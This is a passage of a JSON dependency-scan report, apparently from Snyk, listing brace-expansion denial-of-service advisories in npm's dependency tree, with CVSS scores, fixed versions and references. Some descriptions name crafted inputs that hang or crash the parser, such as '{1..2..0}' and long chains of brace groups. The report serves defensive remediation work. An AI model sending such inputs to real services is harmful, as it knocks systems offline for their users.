"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
